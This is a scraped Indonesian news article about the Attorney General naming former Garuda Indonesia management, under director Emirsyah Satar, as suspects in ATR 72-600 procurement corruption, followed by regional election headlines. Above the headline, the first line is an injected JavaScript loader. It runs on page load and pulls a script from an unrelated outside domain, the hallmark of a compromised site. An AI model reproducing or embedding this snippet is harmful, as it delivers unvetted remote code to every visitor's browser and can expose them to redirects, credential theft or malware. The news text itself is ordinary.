(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

AS Disebut Oknum di Garuda Indonesia yang Diduga Korupsi Pengadaan Pesawat


KANALKALIMANTAN.COM – Jaksa Agung ST Burhanuddin membeberkan sosok terduga korupsi pengadaan pesawat ATR 72-600 di maskapai Garuda Indonesia. Menurut Burhanuddin, sosok oknum tersebut merupakan manajemen lama di Garuda Indonesia.

Sosok tersebut juga pernah tersandung korupsi di Garuda Indonesia, dan saat ini tengah menghuni di penjara.

“Untuk ATR 72-600 ini zaman AS. Dan AS sekarang sudah masih ada di dalam tahanan. Dirutnya AS,” ujar Burhanuddin saat konferensi pers di Gedung Kejaksaan Agung, Jakarta, Selasa (11/1/2022).

Namun demikian, Burhanuddin memastikan, investigasi korupsi akan terus dikembangkan dan akan diusut hingga Garuda Indonesia bersih dari oknum-oknum.

 

 

Baca juga: Luapan Air Sungai di Jalan Tonhar Landasan Ulin Merendam 44 Rumah

“Kalau pengembangan pasti dan Insyallah tidak akan berhenti di sini. Akan kita kembangkan sampai benar-benar Garuda ini bersih,” ucap dia.

Untuk diketahui, pengadaan pesawat ATR 72-600 dilakukan oleh manajemen Garuda Indonesia saat dinahkodai oleh Emirsyah Satar. Sebanyak, 35 pesawat saat itu akan didatangkan oleh maskapai pelat merah.

Emirsyah Satar juga merupakan terpidana suap pengadaan mesin Rolls Royce sebesar Rp 5,85 miliar. Dalam kasus tersebut, Emirsyah satar dihukum 8 tahun penjara.

Sebelumnya, Erick Thohir memberikan bukti-bukti ke Kejaksaan Agung (Kejagung) terkait dengan korupsi pengadaan pesawat ATR 72-600 oleh Manajemen Garuda Indonesia terdahulu.

Erick menyebut, memang setelah ditelaah terdapat indikasi korupsi yang dilakukan manajemen Garuda Indonesia terdahulu terkait pengadaan pesawat dengan berbeda-beda merek.

Baca juga: Lima Kali Dibui, Residivis di Muara Teweh Ini Kembali Ditangkap Polisi

“Hari ini ATR-72 600 ini yang kami serahkan bukti-bukti audit investigasi. Jadi ini belum tuduhan, ini bukan zamannya tuduh-tuduh, tapi ada fakta yang diberikan,” kata Erick. (Suara.com)

Editor : kk


Risa

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

2 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

3 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

3 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

8 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

9 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

9 jam ago

This website uses cookies.